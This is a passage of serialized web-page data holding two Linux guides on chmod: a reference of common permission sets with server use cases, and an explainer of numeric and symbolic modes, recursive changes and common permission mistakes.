directories",[199,24633,24634,24636,24639,24641,24643,24645],{},[216,24635,17196],{},[216,24637,24638],{},"rw-r-----",[216,24640,24569],{},[216,24642,24572],{},[216,24644,24609],{},[216,24646,24647],{},"Group-shared config files",[199,24649,24650,24653,24656,24658,24660,24662],{},[216,24651,24652],{},"750",[216,24654,24655],{},"rwxr-x---",[216,24657,24588],{},[216,24659,24591],{},[216,24661,24609],{},[216,24663,24664],{},"Group-shared directories",[199,24666,24667,24670,24673,24675,24677,24679],{},[216,24668,24669],{},"664",[216,24671,24672],{},"rw-rw-r--",[216,24674,24569],{},[216,24676,24569],{},[216,24678,24572],{},[216,24680,24681],{},"Collaborative files",[199,24683,24684,24687,24690,24692,24694,24696],{},[216,24685,24686],{},"775",[216,24688,24689],{},"rwxrwxr-x",[216,24691,24588],{},[216,24693,24588],{},[216,24695,24591],{},[216,24697,24698],{},"Collaborative directories",[199,24700,24701,24704,24707,24709,24711,24713],{},[216,24702,24703],{},"400",[216,24705,24706],{},"r--------",[216,24708,24572],{},[216,24710,24609],{},[216,24712,24609],{},[216,24714,24715],{},"Read-only sensitive files",[199,24717,24718,24721,24724,24726,24728,24730],{},[216,24719,24720],{},"444",[216,24722,24723],{},"r--r--r--",[216,24725,24572],{},[216,24727,24572],{},[216,24729,24572],{},[216,24731,24732],{},"Immutable public files",[11,24734,24736],{"id":24735},"detailed-breakdown","Detailed Breakdown",[33,24738,24740],{"id":24739},"_644-the-default-file","644 — The Default File",[135,24742,24745],{"className":24743,"code":24744,"language":140},[138],"Owner:  rw-  (read + write)\nGroup:  r--  (read only)\nOther:  r--  (read only)\n",[143,24746,24744],{"__ignoreMap":141},[16,24748,24749],{},"This is the most common file permission on Linux systems. The owner can edit; everyone else can read. Web servers use 644 for CSS, JavaScript, images, and HTML files because the server process only needs to read them.",[135,24751,24753],{"className":6951,"code":24752,"language":6953,"meta":141,"style":141},"chmod 644 index.html style.css app.js\n",[143,24754,24755],{"__ignoreMap":141},[1560,24756,24757,24760,24763,24766,24769],{"class":1562,"line":1563},[1560,24758,24759],{"class":1566},"chmod",[1560,24761,24762],{"class":1576}," 644",[1560,24764,24765],{"class":5634}," index.html",[1560,24767,24768],{"class":5634}," style.css",[1560,24770,24771],{"class":5634}," app.js\n",[33,24773,24775],{"id":24774},"_755-the-default-directory","755 — The Default Directory",[135,24777,24780],{"className":24778,"code":24779,"language":140},[138],"Owner:  rwx  (full access)\nGroup:  r-x  (read + traverse)\nOther:  r-x  (read + traverse)\n",[143,24781,24779],{"__ignoreMap":141},[16,24783,24784,24785,24788,24789,24792],{},"Directories need execute permission to be traversed — without ",[143,24786,24787],{},"x",", you can't ",[143,24790,24791],{},"cd"," into them or access files inside, even with read permission. 755 is the standard for directories and executable scripts.",[135,24794,24796],{"className":6951,"code":24795,"language":6953,"meta":141,"style":141},"chmod 755 \u002Fvar\u002Fwww\u002Fhtml\nchmod 755 deploy.sh migrate.py\n",[143,24797,24798,24808],{"__ignoreMap":141},[1560,24799,24800,24802,24805],{"class":1562,"line":1563},[1560,24801,24759],{"class":1566},[1560,24803,24804],{"class":1576}," 755",[1560,24806,24807],{"class":5634}," \u002Fvar\u002Fwww\u002Fhtml\n",[1560,24809,24810,24812,24814,24817],{"class":1562,"line":337},[1560,24811,24759],{"class":1566},[1560,24813,24804],{"class":1576},[1560,24815,24816],{"class":5634}," deploy.sh",[1560,24818,24819],{"class":5634}," migrate.py\n",[33,24821,24823],{"id":24822},"_600-private-files","600 — Private Files",[135,24825,24828],{"className":24826,"code":24827,"language":140},[138],"Owner:  rw-  (read + write)\nGroup:  ---  (no access)\nOther:  ---  (no access)\n",[143,24829,24827],{"__ignoreMap":141},[16,24831,24832],{},"Use 600 for any file that should be invisible to everyone except the owner. The most critical use case is SSH private keys — if your key is readable by anyone else, SSH will refuse to use it.",[135,24834,24836],{"className":6951,"code":24835,"language":6953,"meta":141,"style":141},"chmod 600 ~\u002F.ssh\u002Fid_rsa\nchmod 600 ~\u002F.env\nchmod 600 ~\u002F.my.cnf\n",[143,24837,24838,24848,24857],{"__ignoreMap":141},[1560,24839,24840,24842,24845],{"class":1562,"line":1563},[1560,24841,24759],{"class":1566},[1560,24843,24844],{"class":1576}," 600",[1560,24846,24847],{"class":5634}," ~\u002F.ssh\u002Fid_rsa\n",[1560,24849,24850,24852,24854],{"class":1562,"line":337},[1560,24851,24759],{"class":1566},[1560,24853,24844],{"class":1576},[1560,24855,24856],{"class":5634}," ~\u002F.env\n",[1560,24858,24859,24861,24863],{"class":1562,"line":343},[1560,24860,24759],{"class":1566},[1560,24862,24844],{"class":1576},[1560,24864,24865],{"class":5634}," ~\u002F.my.cnf\n",[33,24867,24869],{"id":24868},"_700-private-directories","700 — Private Directories",[135,24871,24874],{"className":24872,"code":24873,"language":140},[138],"Owner:  rwx  (full access)\nGroup:  ---  (no access)\nOther:  ---  (no access)\n",[143,24875,24873],{"__ignoreMap":141},[16,24877,24878],{},"The directory equivalent of 600. Use this for home directories and any directory containing private files.",[135,24880,24882],{"className":6951,"code":24881,"language":6953,"meta":141,"style":141},"chmod 700 ~\u002F.ssh\nchmod 700 ~\u002Fprivate-projects\n",[143,24883,24884,24894],{"__ignoreMap":141},[1560,24885,24886,24888,24891],{"class":1562,"line":1563},[1560,24887,24759],{"class":1566},[1560,24889,24890],{"class":1576}," 700",[1560,24892,24893],{"class":5634}," ~\u002F.ssh\n",[1560,24895,24896,24898,24900],{"class":1562,"line":337},[1560,24897,24759],{"class":1566},[1560,24899,24890],{"class":1576},[1560,24901,24902],{"class":5634}," ~\u002Fprivate-projects\n",[33,24904,24906],{"id":24905},"_640-group-readable-configs","640 — Group-Readable Configs",[135,24908,24911],{"className":24909,"code":24910,"language":140},[138],"Owner:  rw-  (read + write)\nGroup:  r--  (read only)\nOther:  ---  (no access)\n",[143,24912,24910],{"__ignoreMap":141},[16,24914,24915,24916,24919],{},"When a service needs to read a config file but the world shouldn't see it. The web server user (e.g., ",[143,24917,24918],{},"www-data",") is in a group that can read the file, while other users on the system are locked out.",[135,24921,24923],{"className":6951,"code":24922,"language":6953,"meta":141,"style":141},"chmod 640 \u002Fetc\u002Fnginx\u002Fssl\u002Fssl-cert.pem\nchmod 640 \u002Fvar\u002Fwww\u002F.env\n",[143,24924,24925,24935],{"__ignoreMap":141},[1560,24926,24927,24929,24932],{"class":1562,"line":1563},[1560,24928,24759],{"class":1566},[1560,24930,24931],{"class":1576}," 640",[1560,24933,24934],{"class":5634}," \u002Fetc\u002Fnginx\u002Fssl\u002Fssl-cert.pem\n",[1560,24936,24937,24939,24941],{"class":1562,"line":337},[1560,24938,24759],{"class":1566},[1560,24940,24931],{"class":1576},[1560,24942,24943],{"class":5634}," \u002Fvar\u002Fwww\u002F.env\n",[33,24945,24947],{"id":24946},"_750-group-shared-directories","750 — Group-Shared Directories",[135,24949,24952],{"className":24950,"code":24951,"language":140},[138],"Owner:  rwx  (full access)\nGroup:  r-x  (read + traverse)\nOther:  ---  (no access)\n",[143,24953,24951],{"__ignoreMap":141},[16,24955,24956],{},"For directories that a specific group needs to access but shouldn't be world-readable. Common in multi-user server environments where departments share resources.",[33,24958,24960],{"id":24959},"_664-and-775-collaborative-work","664 and 775 — Collaborative Work",[135,24962,24965],{"className":24963,"code":24964,"language":140},[138],"664: rw-rw-r--  (files)\n775: rwxrwxr-x (directories)\n",[143,24966,24964],{"__ignoreMap":141},[16,24968,24969],{},"When a team collaborates on files, both the owner and group need write access. The \"other\" group gets read-only or read+execute (for directories). Often paired with SGID on directories so new files inherit the group.",[135,24971,24973],{"className":6951,"code":24972,"language":6953,"meta":141,"style":141},"chmod 2775 \u002Fvar\u002Fwww\u002Fshared\nfind \u002Fvar\u002Fwww\u002Fshared -type f -exec chmod 664 {} +\n",[143,24974,24975,24985],{"__ignoreMap":141},[1560,24976,24977,24979,24982],{"class":1562,"line":1563},[1560,24978,24759],{"class":1566},[1560,24980,24981],{"class":1576}," 2775",[1560,24983,24984],{"class":5634}," \u002Fvar\u002Fwww\u002Fshared\n",[1560,24986,24987,24990,24993,24996,24999,25002,25005,25008,25011],{"class":1562,"line":337},[1560,24988,24989],{"class":1566},"find",[1560,24991,24992],{"class":5634}," \u002Fvar\u002Fwww\u002Fshared",[1560,24994,24995],{"class":1576}," -type",[1560,24997,24998],{"class":5634}," f",[1560,25000,25001],{"class":1576}," -exec",[1560,25003,25004],{"class":5634}," chmod",[1560,25006,25007],{"class":1576}," 664",[1560,25009,25010],{"class":5634}," {}",[1560,25012,25013],{"class":5634}," +\n",[33,25015,25017],{"id":25016},"_400-read-only-sensitive","400 — Read-Only Sensitive",[135,25019,25022],{"className":25020,"code":25021,"language":140},[138],"Owner:  r--  (read only)\nGroup:  ---  (no access)\nOther:  ---  (no access)\n",[143,25023,25021],{"__ignoreMap":141},[16,25025,25026],{},"Even more restrictive than 600 — the owner can read but not modify. Useful for backed-up credentials that shouldn't be accidentally changed.",[135,25028,25030],{"className":6951,"code":25029,"language":6953,"meta":141,"style":141},"chmod 400 ~\u002F.ssh\u002Fid_rsa.pub\nchmod 400 \u002Fbackup\u002Fcredentials.gpg\n",[143,25031,25032,25042],{"__ignoreMap":141},[1560,25033,25034,25036,25039],{"class":1562,"line":1563},[1560,25035,24759],{"class":1566},[1560,25037,25038],{"class":1576}," 400",[1560,25040,25041],{"class":5634}," ~\u002F.ssh\u002Fid_rsa.pub\n",[1560,25043,25044,25046,25048],{"class":1562,"line":337},[1560,25045,24759],{"class":1566},[1560,25047,25038],{"class":1576},[1560,25049,25050],{"class":5634}," \u002Fbackup\u002Fcredentials.gpg\n",[33,25052,25054],{"id":25053},"_444-immutable-public","444 — Immutable Public",[135,25056,25059],{"className":25057,"code":25058,"language":140},[138],"Owner:  r--  (read only)\nGroup:  r--  (read only)\nOther:  r--  (read only)\n",[143,25060,25058],{"__ignoreMap":141},[16,25062,25063,25064,25067],{},"Everyone can read, nobody can write. Use for published logs or documentation that must not be altered after creation. Combine with ",[143,25065,25066],{},"chattr +i"," for true immutability.",[11,25069,25071],{"id":25070},"server-scenario-quick-reference","Server Scenario Quick Reference",[193,25073,25074,25090],{},[196,25075,25076],{},[199,25077,25078,25081,25084,25087],{},[202,25079,25080],{},"Server Task",[202,25082,25083],{},"Files",[202,25085,25086],{},"Directories",[202,25088,25089],{},"Command",[211,25091,25092,25106,25120,25135,25149],{},[199,25093,25094,25097,25099,25101],{},[216,25095,25096],{},"Static website",[216,25098,24563],{},[216,25100,24582],{},[216,25102,25103],{},[143,25104,25105],{},"find \u002Fvar\u002Fwww -type d -exec chmod 755 {} + && find \u002Fvar\u002Fwww -type f -exec chmod 644 {} +",[199,25107,25108,25111,25113,25115],{},[216,25109,25110],{},"SSH config",[216,25112,24601],{},[216,25114,24619],{},[216,25116,25117],{},[143,25118,25119],{},"chmod 700 ~\u002F.ssh && chmod 600 ~\u002F.ssh\u002Fid_rsa",[199,25121,25122,25125,25127,25130],{},[216,25123,25124],{},"Shared project",[216,25126,24669],{},[216,25128,25129],{},"2775",[216,25131,25132],{},[143,25133,25134],{},"chmod 2775 \u002Fproject && find \u002Fproject -type f -exec chmod 664 {} +",[199,25136,25137,25140,25142,25144],{},[216,25138,25139],{},"WordPress uploads",[216,25141,24563],{},[216,25143,24582],{},[216,25145,25146],{},[143,25147,25148],{},"find \u002Fwp-content\u002Fuploads -type d -exec chmod 755 {} +",[199,25150,25151,25154,25156,25158],{},[216,25152,25153],{},"Log directory",[216,25155,24563],{},[216,25157,24582],{},[216,25159,25160],{},"Files auto-created with umask",[11,25162,321],{"id":320},[41,25164,25165,25171,25177],{},[44,25166,25167],{},[98,25168,25170],{"href":25169},"\u002Fguides\u002Fchmod-guide","Chmod Guide",[44,25172,25173],{},[98,25174,25176],{"href":25175},"\u002Fguides\u002Flinux-file-permissions","Linux File Permissions",[44,25178,25179],{},[98,25180,25182],{"href":25181},"\u002Fguides\u002Fchmod-recursive-permissions","Setting Recursive Chmod Permissions",[11,25184,286],{"id":285},[16,25186,25187],{},"See what each permission set allows at a glance. Toggle read, write, and execute for owner, group, and others — our tool converts between numeric, symbolic, and binary forms instantly.",[16,25189,4531,25190],{},[98,25191,25193],{"href":25192},"\u002Ftools\u002Fchmod-calculator",[47,25194,25195],{},"Free Chmod Calculator",[2043,25197,25198],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":25200},[25201,25202,25203,25214,25215,25216],{"id":24526,"depth":337,"text":24527},{"id":1123,"depth":337,"text":1124},{"id":24735,"depth":337,"text":24736,"children":25204},[25205,25206,25207,25208,25209,25210,25211,25212,25213],{"id":24739,"depth":343,"text":24740},{"id":24774,"depth":343,"text":24775},{"id":24822,"depth":343,"text":24823},{"id":24868,"depth":343,"text":24869},{"id":24905,"depth":343,"text":24906},{"id":24946,"depth":343,"text":24947},{"id":24959,"depth":343,"text":24960},{"id":25016,"depth":343,"text":25017},{"id":25053,"depth":343,"text":25054},{"id":25070,"depth":337,"text":25071},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"The most-used chmod values (644, 755, 600) explained with real-world server scenarios.",{"immutable":363},"\u002Fguides\u002Fchmod-common-permission-sets",{"title":24521,"description":25217},"guides\u002Fchmod-common-permission-sets","DmWluLHO2ARk3sPR_aFDeoyjVsQvTt13ICq9jlvODug",{"id":25224,"title":25225,"body":25226,"date":2070,"description":26049,"extension":361,"meta":26050,"navigation":363,"path":25169,"readingTime":7146,"seo":26054,"stem":26055,"__hash__":26056},"guides\u002Fguides\u002Fchmod-guide.md","Chmod Guide — File Permission Commands Explained",{"type":8,"value":25227,"toc":26029},[25228,25232,25240,25246,25250,25253,25271,25274,25334,25343,25347,25350,25353,25383,25386,25390,25462,25466,25540,25544,25550,25554,25594,25598,25632,25636,25728,25731,25735,25801,25805,25811,25885,25890,25894,25918,25920,25959,25961,26000,26002,26009,26011,26026],[11,25229,25231],{"id":25230},"what-is-chmod","What Is chmod?",[16,25233,421,25234,25236,25237,25239],{},[143,25235,24759],{}," command changes file access permissions on Linux and Unix-like systems. Short for \"change mode,\" it controls who can read, write, or execute a file. Every file and directory on your system has a permission mode, and ",[143,25238,24759],{}," is the tool you use to modify it.",[16,25241,25242,25243,25245],{},"Without proper permissions, users cannot access files they need — or worse, can access files they should not. Understanding ",[143,25244,24759],{}," is essential for system administration, deployment, and security.",[11,25247,25249],{"id":25248},"permission-basics","Permission Basics",[16,25251,25252],{},"Every file has three categories of users who can access it:",[41,25254,25255,25260,25265],{},[44,25256,25257,25259],{},[47,25258,24547],{}," — the user who created the file",[44,25261,25262,25264],{},[47,25263,24550],{}," — users who share the file's group assignment",[44,25266,25267,25270],{},[47,25268,25269],{},"Others"," — everyone else on the system",[16,25272,25273],{},"Each category can have three types of access:",[193,25275,25276,25292],{},[196,25277,25278],{},[199,25279,25280,25283,25286,25289],{},[202,25281,25282],{},"Permission",[202,25284,25285],{},"Symbol",[202,25287,25288],{},"Effect on Files",[202,25290,25291],{},"Effect on Directories",[211,25293,25294,25307,25321],{},[199,25295,25296,25299,25301,25304],{},[216,25297,25298],{},"Read",[216,25300,23114],{},[216,25302,25303],{},"View file contents",[216,25305,25306],{},"List directory contents",[199,25308,25309,25312,25315,25318],{},[216,25310,25311],{},"Write",[216,25313,25314],{},"w",[216,25316,25317],{},"Modify file contents",[216,25319,25320],{},"Add or remove files in directory",[199,25322,25323,25326,25328,25331],{},[216,25324,25325],{},"Execute",[216,25327,24787],{},[216,25329,25330],{},"Run the file as a program",[216,25332,25333],{},"Enter the directory (cd into it)",[16,25335,25336,25337,25340,25341,468],{},"These two concepts combine to form the permission string you see in ",[143,25338,25339],{},"ls -l"," output, like ",[143,25342,24585],{},[11,25344,25346],{"id":25345},"numeric-octal-mode","Numeric (Octal) Mode",[16,25348,25349],{},"The numeric mode represents permissions as a three-digit octal number. Each digit corresponds to one user category: owner, group, and others.",[16,25351,25352],{},"The digit is the sum of these values:",[193,25354,25355,25363],{},[196,25356,25357],{},[199,25358,25359,25361],{},[202,25360,25282],{},[202,25362,1769],{},[211,25364,25365,25371,25377],{},[199,25366,25367,25369],{},[216,25368,25298],{},[216,25370,12546],{},[199,25372,25373,25375],{},[216,25374,25311],{},[216,25376,10099],{},[199,25378,25379,25381],{},[216,25380,25325],{},[216,25382,3585],{},[16,25384,25385],{},"Add the values for the permissions you want to grant. For example, read + write + execute = 4 + 2 + 1 = 7. Read + execute = 4 + 1 = 5.",[33,25387,25389],{"id":25388},"common-numeric-modes","Common Numeric Modes",[193,25391,25392,25404],{},[196,25393,25394],{},[199,25395,25396,25399,25402],{},[202,25397,25398],{},"Mode",[202,25400,25401],{},"Permissions",[202,25403,24556],{},[211,25405,25406,25415,25424,25435,25444,25453],{},[199,25407,25408,25410,25412],{},[216,25409,24582],{},[216,25411,24585],{},[216,25413,25414],{},"Executable scripts, web directories",[199,25416,25417,25419,25421],{},[216,25418,24563],{},[216,25420,24566],{},[216,25422,25423],{},"Regular files, documents",[199,25425,25426,25429,25432],{},[216,25427,25428],{},"777",[216,25430,25431],{},"rwxrwxrwx",[216,25433,25434],{},"Temporary shared directories (avoid in production)",[199,25436,25437,25439,25441],{},[216,25438,24601],{},[216,25440,24604],{},[216,25442,25443],{},"SSH private keys, secret config files",[199,25445,25446,25448,25450],{},[216,25447,24619],{},[216,25449,24622],{},[216,25451,25452],{},"User-only directories",[199,25454,25455,25457,25459],{},[216,25456,17196],{},[216,25458,24638],{},[216,25460,25461],{},"Files shared within a group",[33,25463,25465],{"id":25464},"numeric-examples","Numeric Examples",[135,25467,25469],{"className":6951,"code":25468,"language":6953,"meta":141,"style":141},"# Set file to 755 (rwxr-xr-x)\nchmod 755 script.sh\n\n# Set file to 644 (rw-r--r--)\nchmod 644 document.txt\n\n# Set SSH key to 600 (rw-------)\nchmod 600 ~\u002F.ssh\u002Fid_rsa\n\n# Apply to a directory and all contents recursively\nchmod -R 755 \u002Fvar\u002Fwww\u002Fhtml\n",[143,25470,25471,25476,25485,25489,25494,25503,25507,25512,25520,25524,25529],{"__ignoreMap":141},[1560,25472,25473],{"class":1562,"line":1563},[1560,25474,25475],{"class":1649},"# Set file to 755 (rwxr-xr-x)\n",[1560,25477,25478,25480,25482],{"class":1562,"line":337},[1560,25479,24759],{"class":1566},[1560,25481,24804],{"class":1576},[1560,25483,25484],{"class":5634}," script.sh\n",[1560,25486,25487],{"class":1562,"line":343},[1560,25488,1702],{"emptyLinePlaceholder":363},[1560,25490,25491],{"class":1562,"line":365},[1560,25492,25493],{"class":1649},"# Set file to 644 (rw-r--r--)\n",[1560,25495,25496,25498,25500],{"class":1562,"line":889},[1560,25497,24759],{"class":1566},[1560,25499,24762],{"class":1576},[1560,25501,25502],{"class":5634}," document.txt\n",[1560,25504,25505],{"class":1562,"line":1710},[1560,25506,1702],{"emptyLinePlaceholder":363},[1560,25508,25509],{"class":1562,"line":1717},[1560,25510,25511],{"class":1649},"# Set SSH key to 600 (rw-------)\n",[1560,25513,25514,25516,25518],{"class":1562,"line":1747},[1560,25515,24759],{"class":1566},[1560,25517,24844],{"class":1576},[1560,25519,24847],{"class":5634},[1560,25521,25522],{"class":1562,"line":2507},[1560,25523,1702],{"emptyLinePlaceholder":363},[1560,25525,25526],{"class":1562,"line":2524},[1560,25527,25528],{"class":1649},"# Apply to a directory and all contents recursively\n",[1560,25530,25531,25533,25536,25538],{"class":1562,"line":2529},[1560,25532,24759],{"class":1566},[1560,25534,25535],{"class":1576}," -R",[1560,25537,24804],{"class":1576},[1560,25539,24807],{"class":5634},[11,25541,25543],{"id":25542},"symbolic-mode","Symbolic Mode",[16,25545,25546,25547,468],{},"Symbolic mode uses letters to specify who gets what permission. The format is ",[143,25548,25549],{},"who operator permission",[33,25551,25553],{"id":25552},"who-user-classes","Who (User Classes)",[193,25555,25556,25564],{},[196,25557,25558],{},[199,25559,25560,25562],{},[202,25561,23146],{},[202,25563,4228],{},[211,25565,25566,25574,25580,25587],{},[199,25567,25568,25571],{},[216,25569,25570],{},"u",[216,25572,25573],{},"Owner (user)",[199,25575,25576,25578],{},[216,25577,22733],{},[216,25579,24550],{},[199,25581,25582,25585],{},[216,25583,25584],{},"o",[216,25586,25269],{},[199,25588,25589,25591],{},[216,25590,98],{},[216,25592,25593],{},"All (same as ugo)",[33,25595,25597],{"id":25596},"operators","Operators",[193,25599,25600,25609],{},[196,25601,25602],{},[199,25603,25604,25607],{},[202,25605,25606],{},"Operator",[202,25608,4228],{},[211,25610,25611,25618,25625],{},[199,25612,25613,25615],{},[216,25614,9448],{},[216,25616,25617],{},"Add permission",[199,25619,25620,25622],{},[216,25621,9412],{},[216,25623,25624],{},"Remove permission",[199,25626,25627,25629],{},[216,25628,7297],{},[216,25630,25631],{},"Set exact permission (removes others)",[33,25633,25635],{"id":25634},"symbolic-examples","Symbolic Examples",[135,25637,25639],{"className":6951,"code":25638,"language":6953,"meta":141,"style":141},"# Add execute permission for the owner\nchmod u+x script.sh\n\n# Remove write permission for group and others\nchmod go-w document.txt\n\n# Set exact permissions: owner read\u002Fwrite, group read, others nothing\nchmod u=rw,g=r,o= document.txt\n\n# Add read permission for everyone\nchmod a+r readme.md\n\n# Copy group permissions to others\nchmod o=g file.txt\n",[143,25640,25641,25646,25655,25659,25664,25673,25677,25682,25691,25695,25700,25710,25714,25719],{"__ignoreMap":141},[1560,25642,25643],{"class":1562,"line":1563},[1560,25644,25645],{"class":1649},"# Add execute permission for the owner\n",[1560,25647,25648,25650,25653],{"class":1562,"line":337},[1560,25649,24759],{"class":1566},[1560,25651,25652],{"class":5634}," u+x",[1560,25654,25484],{"class":5634},[1560,25656,25657],{"class":1562,"line":343},[1560,25658,1702],{"emptyLinePlaceholder":363},[1560,25660,25661],{"class":1562,"line":365},[1560,25662,25663],{"class":1649},"# Remove write permission for group and others\n",[1560,25665,25666,25668,25671],{"class":1562,"line":889},[1560,25667,24759],{"class":1566},[1560,25669,25670],{"class":5634}," go-w",[1560,25672,25502],{"class":5634},[1560,25674,25675],{"class":1562,"line":1710},[1560,25676,1702],{"emptyLinePlaceholder":363},[1560,25678,25679],{"class":1562,"line":1717},[1560,25680,25681],{"class":1649},"# Set exact permissions: owner read\u002Fwrite, group read, others nothing\n",[1560,25683,25684,25686,25689],{"class":1562,"line":1747},[1560,25685,24759],{"class":1566},[1560,25687,25688],{"class":5634}," u=rw,g=r,o=",[1560,25690,25502],{"class":5634},[1560,25692,25693],{"class":1562,"line":2507},[1560,25694,1702],{"emptyLinePlaceholder":363},[1560,25696,25697],{"class":1562,"line":2524},[1560,25698,25699],{"class":1649},"# Add read permission for everyone\n",[1560,25701,25702,25704,25707],{"class":1562,"line":2529},[1560,25703,24759],{"class":1566},[1560,25705,25706],{"class":5634}," a+r",[1560,25708,25709],{"class":5634}," readme.md\n",[1560,25711,25712],{"class":1562,"line":2534},[1560,25713,1702],{"emptyLinePlaceholder":363},[1560,25715,25716],{"class":1562,"line":2542},[1560,25717,25718],{"class":1649},"# Copy group permissions to others\n",[1560,25720,25721,25723,25726],{"class":1562,"line":2558},[1560,25722,24759],{"class":1566},[1560,25724,25725],{"class":5634}," o=g",[1560,25727,24230],{"class":5634},[16,25729,25730],{},"Symbolic mode is useful when you want to modify specific permissions without recalculating the full numeric value. It also makes your intent clearer in scripts.",[11,25732,25734],{"id":25733},"numeric-vs-symbolic-when-to-use-each","Numeric vs Symbolic: When to Use Each",[193,25736,25737,25748],{},[196,25738,25739],{},[199,25740,25741,25743,25746],{},[202,25742,21080],{},[202,25744,25745],{},"Recommended Mode",[202,25747,23393],{},[211,25749,25750,25761,25771,25781,25791],{},[199,25751,25752,25755,25758],{},[216,25753,25754],{},"Setting exact permissions from scratch",[216,25756,25757],{},"Numeric",[216,25759,25760],{},"Unambiguous, concise",[199,25762,25763,25766,25768],{},[216,25764,25765],{},"Modifying one permission bit",[216,25767,24544],{},[216,25769,25770],{},"Avoids recalculating full mode",[199,25772,25773,25776,25778],{},[216,25774,25775],{},"Writing deployment scripts",[216,25777,25757],{},[216,25779,25780],{},"Reproducible, easy to document",[199,25782,25783,25786,25788],{},[216,25784,25785],{},"Quick one-off adjustments",[216,25787,24544],{},[216,25789,25790],{},"Faster mental model",[199,25792,25793,25796,25798],{},[216,25794,25795],{},"Copying permissions from a reference",[216,25797,25757],{},[216,25799,25800],{},"Direct mapping to octal",[11,25802,25804],{"id":25803},"recursive-changes","Recursive Changes",[16,25806,18550,25807,25810],{},[143,25808,25809],{},"-R"," flag to apply permissions to a directory and everything inside it. Be careful — a blanket recursive change can break things.",[135,25812,25814],{"className":6951,"code":25813,"language":6953,"meta":141,"style":141},"# Safe: make directories executable but files read-only for group\u002Fothers\nfind \u002Fvar\u002Fwww -type d -exec chmod 755 {} +\nfind \u002Fvar\u002Fwww -type f -exec chmod 644 {} +\n\n# Dangerous: makes everything world-writable\nchmod -R 777 \u002Fvar\u002Fwww  # Do not do this in production\n",[143,25815,25816,25821,25842,25862,25866,25871],{"__ignoreMap":141},[1560,25817,25818],{"class":1562,"line":1563},[1560,25819,25820],{"class":1649},"# Safe: make directories executable but files read-only for group\u002Fothers\n",[1560,25822,25823,25825,25828,25830,25832,25834,25836,25838,25840],{"class":1562,"line":337},[1560,25824,24989],{"class":1566},[1560,25826,25827],{"class":5634}," \u002Fvar\u002Fwww",[1560,25829,24995],{"class":1576},[1560,25831,11229],{"class":5634},[1560,25833,25001],{"class":1576},[1560,25835,25004],{"class":5634},[1560,25837,24804],{"class":1576},[1560,25839,25010],{"class":5634},[1560,25841,25013],{"class":5634},[1560,25843,25844,25846,25848,25850,25852,25854,25856,25858,25860],{"class":1562,"line":343},[1560,25845,24989],{"class":1566},[1560,25847,25827],{"class":5634},[1560,25849,24995],{"class":1576},[1560,25851,24998],{"class":5634},[1560,25853,25001],{"class":1576},[1560,25855,25004],{"class":5634},[1560,25857,24762],{"class":1576},[1560,25859,25010],{"class":5634},[1560,25861,25013],{"class":5634},[1560,25863,25864],{"class":1562,"line":365},[1560,25865,1702],{"emptyLinePlaceholder":363},[1560,25867,25868],{"class":1562,"line":889},[1560,25869,25870],{"class":1649},"# Dangerous: makes everything world-writable\n",[1560,25872,25873,25875,25877,25880,25882],{"class":1562,"line":1710},[1560,25874,24759],{"class":1566},[1560,25876,25535],{"class":1576},[1560,25878,25879],{"class":1576}," 777",[1560,25881,25827],{"class":5634},[1560,25883,25884],{"class":1649},"  # Do not do this in production\n",[16,25886,421,25887,25889],{},[143,25888,24989],{}," approach is the recommended way to set different permissions for files versus directories.",[11,25891,25893],{"id":25892},"practical-tips","Practical Tips",[41,25895,25896,25899,25902,25905,25912,25915],{},[44,25897,25898],{},"Always set the most restrictive permissions that allow your application to function",[44,25900,25901],{},"A file must be readable and executable to run as a script",[44,25903,25904],{},"A directory must be executable for users to enter it, even if they can read its listing",[44,25906,25907,25908,25911],{},"Scripts with a shebang line (like ",[143,25909,25910],{},"#!\u002Fbin\u002Fbash",") need execute permission",[44,25913,25914],{},"Config files containing secrets should be mode 600, owned by the service account",[44,25916,25917],{},"Web server document roots typically use 755 for directories and 644 for files",[11,25919,2341],{"id":2340},[41,25921,25922,25928,25943,25953],{},[44,25923,25924,25927],{},[47,25925,25926],{},"Using 777 for convenience",": This grants full access to everyone. It masks permission problems instead of solving them.",[44,25929,25930,25933,25934,25936,25937,25939,25940,25942],{},[47,25931,25932],{},"Forgetting execute on directories",": Without ",[143,25935,24787],{},", users cannot ",[143,25938,24791],{}," into the directory, even with ",[143,25941,23114],{}," permission.",[44,25944,25945,25948,25949,25952],{},[47,25946,25947],{},"Ignoring umask",": Your umask determines default permissions for new files. Check it with ",[143,25950,25951],{},"umask"," before relying on defaults.",[44,25954,25955,25958],{},[47,25956,25957],{},"Recursive 777 on web roots",": Attackers can overwrite any file. Use 755\u002F644 instead.",[11,25960,1355],{"id":1354},[41,25962,25963,25968,25971,25983,25986,25989],{},[44,25964,25965,25967],{},[143,25966,24759],{}," controls read, write, and execute access for owner, group, and others",[44,25969,25970],{},"Numeric mode uses octal values: read=4, write=2, execute=1",[44,25972,25973,25974,21111,25977,21111,25980],{},"Symbolic mode uses ",[143,25975,25976],{},"u\u002Fg\u002Fo\u002Fa",[143,25978,25979],{},"+\u002F-\u002F=",[143,25981,25982],{},"r\u002Fw\u002Fx",[44,25984,25985],{},"Use 755 for executables, 644 for regular files, 600 for secrets",[44,25987,25988],{},"Always prefer the most restrictive permissions that work",[44,25990,1388,25991,12674,25993,1856,25996,25999],{},[143,25992,24989],{},[143,25994,25995],{},"-type d",[143,25997,25998],{},"-type f"," for safe recursive 